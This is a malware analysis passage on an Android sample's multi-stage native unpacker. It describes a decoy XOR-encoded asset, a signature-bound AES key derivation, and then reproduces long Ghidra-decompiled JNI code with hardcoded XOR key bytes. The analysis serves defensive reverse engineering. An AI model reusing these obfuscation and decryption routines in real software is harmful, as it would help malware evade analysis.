1. Technical Discovery: The "Hydra" Protection Layer

The malware uses a **Multi-Stage Native Unpacker** designed to thwart static analysis and environment modification (like re-signing).

- **Deceptive Assets:** The file `assets/lib.so` is not a Linux shared object. Our XOR analysis revealed a "Stage 1" 4-byte XOR key (`0xFE1C8F81`) that restores a `PK` (ZIP) header. However, this is a **decoy header**; the underlying data remains high-entropy, indicating a second layer of encryption.
- **Native Crypto Engine:** The native library `libygsiyu.so` is the actual "brain." It bypasses Java-level APIs by using `JNI` to call low-level crypto functions. We located strings for `AES/CBC/PKCS5Padding`, `SecretKeySpec`, and `IvParameterSpec` within the binary at offset `0x570a0`.
- **Signature-Bound Decryption:** The native dump showed the library accessing `getPackageManager` and `signatures`. This implies the malware calculates the **MD5 of the developer's original signing certificate** (`CERT.RSA`) to derive the AES decryption key for `lib.so`. This explains why standard keys and manual XOR attempts fail.

```
void FUN_00017780(uint *param_1,uint *param_2)  
{  
    FUN_000167bb();  
    if ((*param_2 & 1) == 0) {  
        *param_1 = *param_2;  
        param_1[1] = param_2[1];  
        param_1[2] = param_2[2];  
        return;  
    }  
    FUN_00017700(param_1,(void *)param_2[2],param_2[1]);  
    return;  
}  
  
void FUN_00017700(uint *param_1,void *param_2,uint param_3)  
{  
    void *extraout_EAX;  
    uint uVar1;
```

```

void *__dest;

FUN_000167bb();
if (param_3 < 0xffffffff0) {
    if (param_3 < 0xb) {
        *(char *)param_1 = (char)param_3 * '\x02';
        __dest = (void *)((int)param_1 + 1);
    }
    else {
        uVar1 = param_3 + 0x10 & 0xffffffff0;
        operator.new(uVar1);
        param_1[2] = (uint)extraout_EAX;
        *param_1 = uVar1 | 1;
        param_1[1] = param_3;
        __dest = extraout_EAX;
    }
    memcpy(__dest, param_2, param_3);
    *(undefined1 *)((int)__dest + param_3) = 0;
    return;
}

/* WARNING: Subroutine does not return */
FUN_0001659c();
}

/* iapp::burden::a(_jstring*, _jobjectArray*, _jobjectArray*, _jbyteArray*, _jstring*) */
undefined4 __thiscall
iapp::burden::a(burden *this, undefined4 param_1, undefined4 param_2, undefined4 param_3, int
param_4,
                int param_5)

{
    byte *pbVar1;
    byte bVar2;
    byte bVar3;
    undefined1 uVar4;
    int *piVar5;
    size_t *extraout_EAX;
    size_t extraout_EAX_00;
    uint uVar6;
    uint *puVar7;
    int iVar8;
    undefined4 uVar9;
    undefined4 uVar10;
    char *pcVar11;
    size_t sVar12;
    undefined4 uVar13;
    undefined4 uVar14;
    int iVar15;
    undefined1 *puVar16;
    undefined1 *puVar17;
    undefined4 uVar18;

```

```
undefined4 uVar19;
char *__s;
byte *pbVar20;
int iVar21;
undefined4 uVar22;
undefined4 uVar23;
int iVar24;
int iVar25;
char *__s_00;
void *pvVar26;
void *pvVar27;
void *__s_01;
void *__s_02;
void *__s_03;
char *pcVar28;
undefined4 *extraout_EAX_01;
byte *pbVar29;
char *pcVar30;
size_t sVar31;
int iVar32;
int unaff_EBX;
uint *local_11c;
int local_fc;
uint *local_e4;
byte local_dc;
byte local_d8;
uint local_c8;
uint local_c4;
void *local_c0;
uint local_bc;
uint local_b8;
void *local_b4;
byte local_b0 [8];
void *local_a8;
undefined4 local_a4;
uint local_a0;
char *local_9c;
byte local_98 [8];
void *local_90;
byte local_8c [8];
void *local_84;
byte local_80 [8];
void *local_78;
byte local_74 [8];
void *local_6c;
byte local_68 [8];
void *local_60;
byte local_5c [8];
void *local_54;
byte local_50 [8];
void *local_48;
uint local_44;
uint local_40;
```

```

char *local_3c;
undefined4 local_38;
uint local_34;
char *local_30;
undefined4 local_2c;
uint local_28;
char *local_24;
int local_20;
undefined4 uStack_14;

uStack_14 = 0x2201b;
FUN_000167bb();
local_20 = **(int **)(unaff_EBX + 0x36e21);
operator.new(0x10);
*extraout_EAX = 0;
extraout_EAX[1] = 2;
/* try { // try from 00022093 to 00022097 has its CatchHandler @
00023ada */
operator.new[](2);
extraout_EAX[3] = extraout_EAX_00;
iVar8 = *(int *)this;
bVar2 = *(byte *)(iVar8 + 0x14);
local_d8 = bVar2 & 1;
if ((bVar2 & 1) == 0) {
    sVar12 = (int)(uint)bVar2 >> 1;
}
else {
    sVar12 = *(size_t *)(iVar8 + 0x18);
}
bVar2 = *(byte **)(unaff_EBX + 0x36e25);
local_dc = bVar2 & 1;
if ((bVar2 & 1) == 0) {
    if (sVar12 == (int)(uint)bVar2 >> 1) goto LAB_000236f1;
LAB_000220e0:
    FUN_00017780(&local_38, (uint *) (iVar8 + 0x14));
}
else {
    if (sVar12 != *(size_t *) (*(int *) (unaff_EBX + 0x36e25) + 4)) goto LAB_000220e0;
LAB_000236f1:
    pcVar11 = (char *) (iVar8 + 0x15);
    if (local_d8 != 0) {
        pcVar11 = *(char **) (iVar8 + 0x1c);
    }
    pcVar28 = (char *) (*(int *) (unaff_EBX + 0x36e25) + 1);
    if (local_dc != 0) {
        pcVar28 = *(char **) (*(int *) (unaff_EBX + 0x36e25) + 8);
    }
    if (local_d8 == 0) {
        if (sVar12 != 0) {
            if (*pcVar11 == *pcVar28) {
                pcVar30 = pcVar11 + sVar12;
                do {
                    pcVar11 = pcVar11 + 1;

```



```

        pcVar28 = pcVar28 + 1;
        if (pcVar11 == pcVar30) goto LAB_00023767;
    } while (*pcVar11 == *pcVar28);
}
goto LAB_000220e0;
}
}
else {
    iVar15 = memcmp(pcVar11, pcVar28, sVar12);
    if (iVar15 != 0) goto LAB_000220e0;
}
LAB_00023767:
    uVar9 = (**(code **)(** (int *) (iVar8 + 4) + 0x18)) (** (int *) (iVar8 + 4), unaff_EBX +
0x28272);
    uVar10 = (**(code **)(** (int *) (iVar8 + 4) + 0x1c4))
        (** (int *) (iVar8 + 4), uVar9, unaff_EBX + 0x28281, unaff_EBX + 0x281dc);
    _JNIEnv::CallStaticIntMethod(*(_JNIEnv *) (iVar8 + 4), uVar9, uVar10);
    (**(code **)(** (int *) (iVar8 + 4) + 0x5c)) (** (int *) (iVar8 + 4), uVar9);
    std::to_string((undefined8 *)&local_38);
}
local_e4 = &local_38;
iVar8 = *(int *) this;
bVar2 = *(byte *) (iVar8 + 8);
if ((bVar2 & 1) == 0) {
    sVar12 = (int) (uint) bVar2 >> 1;
}
else {
    sVar12 = *(size_t *) (iVar8 + 0xc);
}
bVar3 = *(byte *) (unaff_EBX + 0x36e25);
if ((bVar3 & 1) == 0) {
    if (sVar12 == (int) (uint) bVar3 >> 1) goto LAB_00023633;
LAB_0002213f:
        /* try { // try from 00022158 to 0002215c has its CatchHandler @
00023af2 */
        FUN_00017780(&local_44, (uint *) (iVar8 + 8));
    }
    else {
        if (sVar12 != *(size_t *) (** (int *) (unaff_EBX + 0x36e25) + 4)) goto LAB_0002213f;
LAB_00023633:
        pcVar11 = (char *) (iVar8 + 9);
        if ((bVar2 & 1) != 0) {
            pcVar11 = *(char **) (iVar8 + 0x10);
        }
        pcVar28 = (char *) (** (int *) (unaff_EBX + 0x36e25) + 1);
        if ((bVar3 & 1) != 0) {
            pcVar28 = *(char **) (** (int *) (unaff_EBX + 0x36e25) + 8);
        }
        if ((bVar2 & 1) == 0) {
            if (sVar12 != 0) {
                if (*pcVar11 == *pcVar28) {
                    pcVar30 = pcVar11 + sVar12;
                    do {

```

```

        pcVar11 = pcVar11 + 1;
        pcVar28 = pcVar28 + 1;
        if (pcVar11 == pcVar30) goto LAB_000236a3;
    } while (*pcVar11 == *pcVar28);
}
goto LAB_0002213f;
}
}
else {
    iVar15 = memcmp(pcVar11, pcVar28, sVar12);
    if (iVar15 != 0) goto LAB_0002213f;
}
LAB_000236a3:
        /* try { // try from 000236bb to 000236bf has its CatchHandler @
00023af2 */
        FUN_00017700(&local_2c, (void *) (unaff_EBX + 0x28d15), 0x20);
        local_44 = local_2c;
        local_40 = local_28;
        local_3c = local_24;
    }
    local_11c = &local_44;
    uVar6 = local_34;
    pcVar11 = local_30;
    if ((local_38 & 1) == 0) {
        uVar6 = (int)(local_38 & 0xff) >> 1;
        pcVar11 = (char *) ((int) &local_38 + 1);
    }
        /* try { // try from 00022180 to 00022184 has its CatchHandler @
00023b0e */
    puVar7 = FUN_00018b90(local_11c, pcVar11, uVar6);
    local_c8 = *puVar7;
    local_c4 = puVar7[1];
    local_c0 = (void *) puVar7[2];
    *puVar7 = 0;
    puVar7[1] = 0;
    puVar7[2] = 0;
    if ((local_44 & 1) != 0) {
        operator.delete(local_3c);
    }
    if ((local_38 & 1) != 0) {
        operator.delete(local_30);
    }
    iVar8 = *(int *) this;
    bVar2 = *(byte *) (iVar8 + 8);
    if ((bVar2 & 1) == 0) {
        sVar12 = (int)(uint) bVar2 >> 1;
    }
    else {
        sVar12 = *(size_t *) (iVar8 + 0xc);
    }
    bVar3 = **(byte **) (unaff_EBX + 0x36e25);
    if ((bVar3 & 1) == 0) {
        if (sVar12 == (int)(uint) bVar3 >> 1) goto LAB_00023566;
    }

```

```

LAB_0002220e:
    /* try { // try from 00022224 to 00022228 has its CatchHandler @
00023ab6 */
    FUN_00017780(&local_a4,(uint *)(iVar8 + 8));
}
else {
    if (sVar12 != *(size_t *) (*(int *) (unaff_EBX + 0x36e25) + 4)) goto LAB_0002220e;
LAB_00023566:
    pcVar11 = (char *) (iVar8 + 9);
    if ((bVar2 & 1) != 0) {
        pcVar11 = *(char **) (iVar8 + 0x10);
    }
    pcVar28 = (char *) (*(int *) (unaff_EBX + 0x36e25) + 1);
    if ((bVar3 & 1) != 0) {
        pcVar28 = *(char **) (*(int *) (unaff_EBX + 0x36e25) + 8);
    }
    if ((bVar2 & 1) == 0) {
        if (sVar12 != 0) {
            if (*pcVar11 == *pcVar28) {
                pcVar30 = pcVar11 + sVar12;
                do {
                    pcVar11 = pcVar11 + 1;
                    pcVar28 = pcVar28 + 1;
                    if (pcVar11 == pcVar30) goto LAB_000235db;
                } while (*pcVar11 == *pcVar28);
            }
            goto LAB_0002220e;
        }
    }
    else {
        iVar15 = memcmp(pcVar11,pcVar28,sVar12);
        if (iVar15 != 0) goto LAB_0002220e;
    }
LAB_000235db:
    /* try { // try from 000235f3 to 000235f7 has its CatchHandler @
00023ab6 */
    FUN_00017700(&local_2c,(void *) (unaff_EBX + 0x28d15),0x20);
    local_a4 = local_2c;
    local_a0 = local_28;
    local_9c = local_24;
}
iVar8 = *(int *) this;
bVar2 = *(byte *) (iVar8 + 0x14);
local_d8 = bVar2 & 1;
if ((bVar2 & 1) == 0) {
    sVar12 = (int) (uint) bVar2 >> 1;
}
else {
    sVar12 = *(size_t *) (iVar8 + 0x18);
}
bVar2 = *(byte **) (unaff_EBX + 0x36e25);
if ((bVar2 & 1) == 0) {
    sVar31 = (int) (uint) bVar2 >> 1;
}

```

```

}
else {
    sVar31 = *(size_t *) (*(int *) (unaff_EBX + 0x36e25) + 4);
}
if (sVar12 == sVar31) {
    pcVar11 = (char *) (iVar8 + 0x15);
    if (local_d8 != 0) {
        pcVar11 = *(char **) (iVar8 + 0x1c);
    }
    pcVar28 = (char *) (*(int *) (unaff_EBX + 0x36e25) + 1);
    if ((bVar2 & 1) != 0) {
        pcVar28 = *(char **) (*(int *) (unaff_EBX + 0x36e25) + 8);
    }
    if (local_d8 == 0) {
        if (sVar12 == 0) {
LAB_000234cf:
            /* try { // try from 000234e1 to 0002354b has its CatchHandler @
00023a79 */
            uVar9 = (*(code **)(*(int **)(iVar8 + 4) + 0x18))
                    (*(int **)(iVar8 + 4), unaff_EBX + 0x28272);
            uVar10 = (*(code **)(*(int **)(iVar8 + 4) + 0x1c4))
                    (*(int **)(iVar8 + 4), uVar9, unaff_EBX + 0x28281, unaff_EBX +
0x281dc);
            _JNIEnv::CallStaticIntMethod(*(_JNIEnv **)(iVar8 + 4), uVar9, uVar10);
            (*(code **)(*(int **)(iVar8 + 4) + 0x5c))(*(int **)(iVar8 + 4), uVar9);
            std::to_string((undefined8 *) local_b0);
            goto LAB_00022283;
        }
        if (*pcVar11 == *pcVar28) {
            pcVar30 = pcVar11 + sVar12;
            do {
                pcVar11 = pcVar11 + 1;
                pcVar28 = pcVar28 + 1;
                if (pcVar11 == pcVar30) goto LAB_000234cf;
            } while (*pcVar11 == *pcVar28);
        }
    }
    else {
        iVar15 = memcmp(pcVar11, pcVar28, sVar12);
        if (iVar15 == 0) goto LAB_000234cf;
    }
}

/* try { // try from 0002227e to 00022282 has its CatchHandler @
00023a79 */
FUN_00017780((uint *) local_b0, (uint *) (iVar8 + 0x14));
LAB_00022283:
pcVar11 = local_9c;
if ((local_a4 & 1) == 0) {
    local_a0 = (int)(local_a4 & 0xff) >> 1;
    pcVar11 = (char *) ((int) &local_a4 + 1);
}

/* try { // try from 000222a9 to 000222ad has its CatchHandler @
00023a9b */

```

```

puVar7 = FUN_00018b90((uint *)local_b0,pcVar11,local_a0);
local_bc = *puVar7;
local_b8 = puVar7[1];
local_b4 = (void *)puVar7[2];
*puVar7 = 0;
puVar7[1] = 0;
puVar7[2] = 0;
if ((local_b0[0] & 1) != 0) {
    operator.delete(local_a8);
}
if ((local_a4 & 1) != 0) {
    operator.delete(local_9c);
}

/* try { // try from 00022310 to 000223d7 has its CatchHandler @
00023ac5 */
iVar8 = (**(code **)(*(int **)(*(int *)this + 4) + 0x2ac))(*(int **)(*(int *)this +
4),param_2);
if (0 < iVar8) {
    local_fc = 0;
    do {
        uVar9 = (**(code **)(*(int **)(*(int *)this + 4) + 0x2b4))
            (*(int **)(*(int *)this + 4),param_2,local_fc);
        uVar10 = (**(code **)(*(int **)(*(int *)this + 4) + 0x2b4))
            (*(int **)(*(int *)this + 4),param_3,local_fc);
        pcVar11 = (char **)(*(code **)(*(int **)(*(int *)this + 4) + 0x2a4))
            (*(int **)(*(int *)this + 4),uVar9,0);
        sVar12 = strlen(pcVar11);
        FUN_00017700(local_e4,pcVar11,sVar12);
        /* try { // try from 000223fa to 0002241f has its CatchHandler @
00023acc */
        pcVar11 = (char **)(*(code **)(*(int **)(*(int *)this + 4) + 0x2a4))
            (*(int **)(*(int *)this + 4),uVar10,0);
        sVar12 = strlen(pcVar11);
        FUN_00017700(&local_2c,pcVar11,sVar12);
        /* try { // try from 0002243b to 0002243f has its CatchHandler @
000239b9 */
        FUN_00017780((uint *)local_8c,&local_c8);
        /* try { // try from 00022453 to 00022457 has its CatchHandler @
000239df */
        FUN_00017780((uint *)local_98,local_e4);
        /* try { // try from 0002246b to 0002246f has its CatchHandler @
000239fc */
        uVar13 = slky(*(int *)this,local_98,local_8c);
        if ((local_98[0] & 1) != 0) {
            operator.delete(local_90);
        }
        if ((local_8c[0] & 1) != 0) {
            operator.delete(local_84);
        }

        /* try { // try from 000224a2 to 000224a6 has its CatchHandler @
000239b9 */
        FUN_00017780((uint *)local_74,&local_bc);

```

```

/* try { // try from 000224b7 to 000224bb has its CatchHandler @
00023a17 */
    FUN_00017780((uint *)local_80, local_e4);
/* try { // try from 000224cf to 000224d3 has its CatchHandler @
00023a2c */
    uVar14 = slky(*(int *)this, local_80, local_74);
    if ((local_80[0] & 1) != 0) {
        operator.delete(local_78);
    }
    if ((local_74[0] & 1) != 0) {
        operator.delete(local_6c);
    }

/* try { // try from 00022508 to 000225d9 has its CatchHandler @
000239b9 */
    iVar15 = (*(code **)(*(int **)(*(int *)this + 4) + 0x2ac))
              (*(int **)(*(int *)this + 4), uVar13);
    puVar16 = (undefined1 *)
              (*(code **)(*(int **)(*(int *)this + 4) + 0x2e0))
              (*(int **)(*(int *)this + 4), uVar13, 0);
    if ((int)extraout_EAX[1] <= (int)(*extraout_EAX + iVar15)) {
        sVar12 = extraout_EAX[1] + iVar15;
        extraout_EAX[1] = sVar12;
        sVar12 = sVar12 * 2;
        operator.new[](sVar12);
        memset(__s_03, 0, sVar12);
        memcpy(__s_03, (void *)extraout_EAX[3], *extraout_EAX);
        if ((void *)extraout_EAX[3] != (void *)0x0) {
            operator.delete[]((void *)extraout_EAX[3]);
        }
        extraout_EAX[1] = sVar12;
        extraout_EAX[3] = (size_t)__s_03;
    }
    if (0 < iVar15) {
        sVar12 = *extraout_EAX;
        puVar17 = puVar16;
        do {
            uVar4 = *puVar17;
            puVar17 = puVar17 + 1;
            *(undefined1 *)(extraout_EAX[3] + sVar12) = uVar4;
            sVar12 = *extraout_EAX + 1;
            *extraout_EAX = sVar12;
        } while (puVar17 != puVar16 + iVar15);
    }
    (*(code **)(*(int **)(*(int *)this + 4) + 0x300))
      (*(int **)(*(int *)this + 4), uVar13, puVar16, 0);
    FUN_00017780((uint *)local_5c, local_e4);
/* try { // try from 000225f4 to 000225f8 has its CatchHandler @
00023a41 */
    std::operator+((uint *)local_68, (byte *)local_e4, (byte *)&local_c8);
/* try { // try from 0002260f to 00022613 has its CatchHandler @
00023a5d */
    uVar18 = slky(*(int *)this, local_68, local_5c);
    if ((local_68[0] & 1) != 0) {

```

```

        operator.delete(local_60);
    }
    if ((local_5c[0] & 1) != 0) {
        operator.delete(local_54);
    }
    pcVar11 = (char *)((int)&local_2c + 1);
    if ((local_2c & 1) != 0) {
        pcVar11 = local_24;
    }
    piVar5 = *(int **)(*(int *)this + 4);
    sVar12 = strlen(pcVar11);
        /* try { // try from 00022665 to 00022c20 has its CatchHandler @
000239b9 */
    uVar19 = (**(code **)(*piVar5 + 0x2c0))(piVar5, sVar12);
    (**(code **)(*piVar5 + 0x340))(piVar5, uVar19, 0, sVar12, pcVar11);
    operator.new[](0x15);
    __s[0x13] = -0x36;
    __s[0x12] = '\x18';
    __s[0x10] = 'i';
    __s[10] = '%';
    __s[7] = '<';
    __s[5] = 'F';
    __s[2] = '%';
    *__s = -0x1e;
    __s[1] = 'H';
    __s[3] = -0x19;
    __s[4] = -0x80;
    __s[6] = -0x1d;
    __s[8] = '<';
    __s[9] = '\x1e';
    __s[0xb] = '\x1d';
    __s[0xc] = 'N';
    __s[0xd] = '\x05';
    __s[0xe] = 'U';
    __s[0xf] = -0x1f;
    __s[0x11] = -0x58;
    __s[0x14] = '\0';
    sVar12 = strlen(__s);
    pbVar20 = (byte *)(**(code **)(*(int **)(*(int *)this + 4) + 0x2e0))
                (*(int **)(*(int *)this + 4), uVar18, 0);
    iVar15 = (**(code **)(*(int **)(*(int *)this + 4) + 0x2ac))
            (*(int **)(*(int *)this + 4), uVar18);
    sVar31 = 0;
    pbVar29 = pbVar20;
    if (0 < iVar15) {
        do {
            pbVar1 = (byte *)(__s + sVar31);
            sVar31 = sVar31 + 1;
            *pbVar29 = *pbVar29 ^ *pbVar1;
            if (sVar12 == sVar31) {
                sVar31 = 0;
            }
            pbVar29 = pbVar29 + 1;

```

```

        } while (pbVar29 != pbVar20 + iVar15);
    }
    (**(code **)(** (int **)(*(int *)this + 4) + 0x300))
        (*(int **)(*(int *)this + 4), uVar18, pbVar20, 0);
    operator.delete(__s);
    iVar15 = *(int *)this;
    iVar21 = (**(code **)(** (int **)(iVar15 + 4) + 0x2ac))(*(int **)(iVar15 + 4), uVar19);
    uVar22 = (**(code **)(** (int **)(iVar15 + 4) + 0x2e0))(*(int **)(iVar15 +
4), uVar19, 0);
    uVar23 = (**(code **)(** (int **)(iVar15 + 4) + 0x2c0))(*(int **)(iVar15 + 4), iVar21);
    (**(code **)(** (int **)(iVar15 + 4) + 0x340))(*(int **)(iVar15 +
4), uVar23, 0, iVar21, uVar22);
    (**(code **)(** (int **)(iVar15 + 4) + 0x300))(*(int **)(iVar15 + 4), uVar19, uVar22, 0);
    pbVar20 = (byte *)(**(code **)(** (int **)(iVar15 + 4) + 0x2e0))
        (*(int **)(iVar15 + 4), uVar23, 0);
    iVar24 = (**(code **)(** (int **)(iVar15 + 4) + 0x2e0))(*(int **)(iVar15 +
4), uVar18, 0);
    iVar25 = (**(code **)(** (int **)(iVar15 + 4) + 0x2ac))(*(int **)(iVar15 + 4), uVar18);
    iVar32 = 0;
    pbVar29 = pbVar20;
    if (0 < iVar21) {
        do {
            pbVar1 = (byte *) (iVar24 + iVar32);
            iVar32 = iVar32 + 1;
            *pbVar29 = *pbVar29 ^ *pbVar1;
            if (iVar25 == iVar32) {
                iVar32 = 0;
            }
            pbVar29 = pbVar29 + 1;
        } while (pbVar29 != pbVar20 + iVar21);
    }
    (**(code **)(** (int **)(iVar15 + 4) + 0x300))(*(int **)(iVar15 + 4), uVar23, pbVar20, 0);
    (**(code **)(** (int **)(iVar15 + 4) + 0x300))(*(int **)(iVar15 + 4), uVar18, iVar24, 0);
    uVar22 = asendn(*(int *)this, uVar23, uVar18, 1);
    iVar15 = (**(code **)(** (int **)(*(int *)this + 4) + 0x2ac))
        (*(int **)(*(int *)this + 4), uVar22);
    puVar16 = (undefined1 *)
        (**(code **)(** (int **)(*(int *)this + 4) + 0x2e0))
            (*(int **)(*(int *)this + 4), uVar22, 0);
    if ((int)extraout_EAX[1] <= (int)(*extraout_EAX + iVar15)) {
        sVar12 = extraout_EAX[1] + iVar15;
        extraout_EAX[1] = sVar12;
        sVar12 = sVar12 * 2;
        operator.new[] (sVar12);
        memset(__s_02, 0, sVar12);
        memcpy(__s_02, (void *)extraout_EAX[3], *extraout_EAX);
        if ((void *)extraout_EAX[3] != (void *)0x0) {
            operator.delete[]((void *)extraout_EAX[3]);
        }
        extraout_EAX[1] = sVar12;
        extraout_EAX[3] = (size_t)__s_02;
    }
    if (0 < iVar15) {

```



```

sVar12 = *extraout_EAX;
puVar17 = puVar16;
do {
    uVar4 = *puVar17;
    puVar17 = puVar17 + 1;
    *(undefined1 *)(extraout_EAX[3] + sVar12) = uVar4;
    sVar12 = *extraout_EAX + 1;
    *extraout_EAX = sVar12;
} while (puVar17 != puVar16 + iVar15);
}
(**(code **)(**((int **)((int *)this + 4) + 0x300))
    (*(int **)((int *)this + 4), uVar22, puVar16, 0);
iVar15 = (**(code **)(**((int **)((int *)this + 4) + 0x2ac))
    (*(int **)((int *)this + 4), uVar14);
puVar16 = (undefined1 *)
    (**(code **)(**((int **)((int *)this + 4) + 0x2e0))
    (*(int **)((int *)this + 4), uVar14, 0);
if ((int)extraout_EAX[1] <= (int)(*extraout_EAX + iVar15)) {
    sVar12 = extraout_EAX[1] + iVar15;
    extraout_EAX[1] = sVar12;
    sVar12 = sVar12 * 2;
    /* try { // try from 00023262 to 00023386 has its CatchHandler @
000239b9 */
    operator.new[](sVar12);
    memset(__s_01, 0, sVar12);
    memcpy(__s_01, (void *)extraout_EAX[3], *extraout_EAX);
    if ((void *)extraout_EAX[3] != (void *)0x0) {
        operator.delete[]((void *)extraout_EAX[3]);
    }
    extraout_EAX[1] = sVar12;
    extraout_EAX[3] = (size_t)__s_01;
}
if (0 < iVar15) {
    sVar12 = *extraout_EAX;
    puVar17 = puVar16;
    do {
        uVar4 = *puVar17;
        puVar17 = puVar17 + 1;
        *(undefined1 *)(extraout_EAX[3] + sVar12) = uVar4;
        sVar12 = *extraout_EAX + 1;
        *extraout_EAX = sVar12;
    } while (puVar17 != puVar16 + iVar15);
}
(**(code **)(**((int **)((int *)this + 4) + 0x300))
    (*(int **)((int *)this + 4), uVar14, puVar16, 0);
(**(code **)(**((int **)((int *)this + 4) + 0x5c))(*(int **)((int *)this + 4), uVar9);
(**(code **)(**((int **)((int *)this + 4) + 0x5c))(*(int **)((int *)this +
4), uVar10);
(**(code **)(**((int **)((int *)this + 4) + 0x5c))(*(int **)((int *)this +
4), uVar13);
(**(code **)(**((int **)((int *)this + 4) + 0x5c))(*(int **)((int *)this +
4), uVar14);

```

```

        (*(code **)(*(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this +
4),uVar18);
        (*(code **)(*(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this +
4),uVar19);
        (*(code **)(*(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this +
4),uVar22);
        (*(code **)(*(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this +
4),uVar23);
        if ((local_2c & 1) != 0) {
            operator.delete(local_24);
        }
        if ((local_38 & 1) != 0) {
            operator.delete(local_30);
        }
        local_fc = local_fc + 1;
    } while (local_fc != iVar8);
}

        /* try { // try from 00022c70 to 00022c92 has its CatchHandler @
00023ac5 */
    pcVar11 = (char *)(*(code **)(*(int **)(*(int *)this + 4) + 0x2a4))
                (*(int **)(*(int *)this + 4),param_1,0);
    sVar12 = strlen(pcVar11);
    FUN_00017700((uint *)local_50,pcVar11,sVar12);
        /* try { // try from 00022ca6 to 00022caa has its CatchHandler @
00023a72 */
    FUN_00017780(local_11c,*(uint **)(unaff_EBX + 0x36e25));
    if (param_5 != 0) {
        /* try { // try from 00022cd5 to 00022d04 has its CatchHandler @
00023abd */
        pcVar11 = (char *)(*(code **)(*(int **)(*(int *)this + 4) + 0x2a4))
                    (*(int **)(*(int *)this + 4),param_5,0);
        sVar12 = strlen(pcVar11);
        FUN_00017700(local_e4,pcVar11,sVar12);
        if ((local_44 & 1) == 0) {
            local_44 = local_44 & 0xffff0000;
        }
        else {
            *local_3c = '\0';
            local_40 = 0;
        }
        /* try { // try from 00022d28 to 00022d2c has its CatchHandler @
00023941 */
        FUN_0001c960(local_11c,0);
        local_44 = local_38;
        local_40 = local_34;
        local_3c = local_30;
    }
        /* try { // try from 00022d58 to 000231d7 has its CatchHandler @
00023abd */
    iVar15 = Interact::idbfj(*(Interact **)this,local_50,(byte *)local_11c);
    iVar8 = iVar15;
    if (param_4 != 0) {
        iVar8 = param_4;
    }

```

```

}
iVar8 = slky(*(int *)this,iVar8,iVar15);
uVar9 = slky(*(int *)this,iVar15,iVar8);
piVar5 = *(int **)(*(int *)this + 4);
sVar12 = *extraout_EAX;
sVar31 = extraout_EAX[3];
uVar10 = (**(code **)(*piVar5 + 0x2c0))(piVar5,sVar12);
(**(code **)(*piVar5 + 0x340))(piVar5,uVar10,0,sVar12,sVar31);
operator.delete((void *)extraout_EAX[3]);
extraout_EAX[3] = 0;
operator.delete(extraout_EAX);
operator.new[](0x15);
__s_00[0x13] = -0x36;
__s_00[0x12] = '\x18';
__s_00[0x10] = 'i';
__s_00[10] = '%';
__s_00[7] = '<';
__s_00[5] = 'F';
__s_00[2] = '%';
*__s_00 = -0x1e;
__s_00[1] = 'H';
__s_00[3] = -0x19;
__s_00[4] = -0x80;
__s_00[6] = -0x1d;
__s_00[8] = '<';
__s_00[9] = '\x1e';
__s_00[0xb] = '\x1d';
__s_00[0xc] = 'N';
__s_00[0xd] = '\x05';
__s_00[0xe] = 'U';
__s_00[0xf] = -0x1f;
__s_00[0x11] = -0x58;
__s_00[0x14] = '\0';
sVar12 = strlen(__s_00);
pbVar20 = (byte **)(***(code **)(*(int **)(*(int *)this + 4) + 0x2e0))
                (*(int **)(*(int *)this + 4),uVar9,0);
iVar21 = (**(code **)(*(int **)(*(int *)this + 4) + 0x2ac))(*(int **)(*(int *)this +
4),uVar9);
sVar31 = 0;
pbVar29 = pbVar20;
if (0 < iVar21) {
    do {
        pbVar1 = (byte *)(__s_00 + sVar31);
        sVar31 = sVar31 + 1;
        *pbVar29 = *pbVar29 ^ *pbVar1;
        if (sVar12 == sVar31) {
            sVar31 = 0;
        }
        pbVar29 = pbVar29 + 1;
    } while (pbVar29 != pbVar20 + iVar21);
}
(**(code **)(*(int **)(*(int *)this + 4) + 0x300))(*(int **)(*(int *)this +
4),uVar9,pbVar20,0);

```

```

operator.delete(__s_00);
iVar21 = *(int *)this;
iVar24 = (**(code **)(*(int **)(iVar21 + 4) + 0x2ac))(*(int **)(iVar21 + 4),uVar10);
uVar13 = (**(code **)(*(int **)(iVar21 + 4) + 0x2e0))(*(int **)(iVar21 + 4),uVar10,0);
uVar14 = (**(code **)(*(int **)(iVar21 + 4) + 0x2c0))(*(int **)(iVar21 + 4),iVar24);
(**(code **)(*(int **)(iVar21 + 4) + 0x340))(*(int **)(iVar21 +
4),uVar14,0,iVar24,uVar13);
(**(code **)(*(int **)(iVar21 + 4) + 0x300))(*(int **)(iVar21 + 4),uVar10,uVar13,0);
pbVar20 = (byte *)(**(code **)(*(int **)(iVar21 + 4) + 0x2e0))(*(int **)(iVar21 +
4),uVar14,0);
iVar25 = (**(code **)(*(int **)(iVar21 + 4) + 0x2e0))(*(int **)(iVar21 + 4),uVar9,0);
pvVar26 = (void *)(**(code **)(*(int **)(iVar21 + 4) + 0x2ac))(*(int **)(iVar21 +
4),uVar9);
pvVar27 = (void *)0x0;
pbVar29 = pbVar20;
if (0 < iVar24) {
    do {
        pbVar1 = (byte *)(iVar25 + (int)pvVar27);
        pvVar27 = (void *)((int)pvVar27 + 1);
        *pbVar29 = *pbVar29 ^ *pbVar1;
        if (pvVar26 == pvVar27) {
            pvVar27 = (void *)0x0;
        }
        pbVar29 = pbVar29 + 1;
    } while (pbVar29 != pbVar20 + iVar24);
}
(**(code **)(*(int **)(iVar21 + 4) + 0x300))(*(int **)(iVar21 + 4),uVar14,pbVar20,0);
(**(code **)(*(int **)(iVar21 + 4) + 0x300))(*(int **)(iVar21 + 4),uVar9,iVar25,0);
uVar13 = asendn(*(int *)this,uVar14,uVar9,1);
(**(code **)(*(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),iVar15);
(**(code **)(*(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),iVar8);
(**(code **)(*(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar9);
(**(code **)(*(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar10);
(**(code **)(*(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar14);
if ((local_44 & 1) != 0) {
    operator.delete(local_3c);
}
if ((local_50[0] & 1) != 0) {
    operator.delete(local_48);
}
if ((local_bc & 1) != 0) {
    operator.delete(local_b4);
}
if ((local_c8 & 1) != 0) {
    operator.delete(local_c0);
}
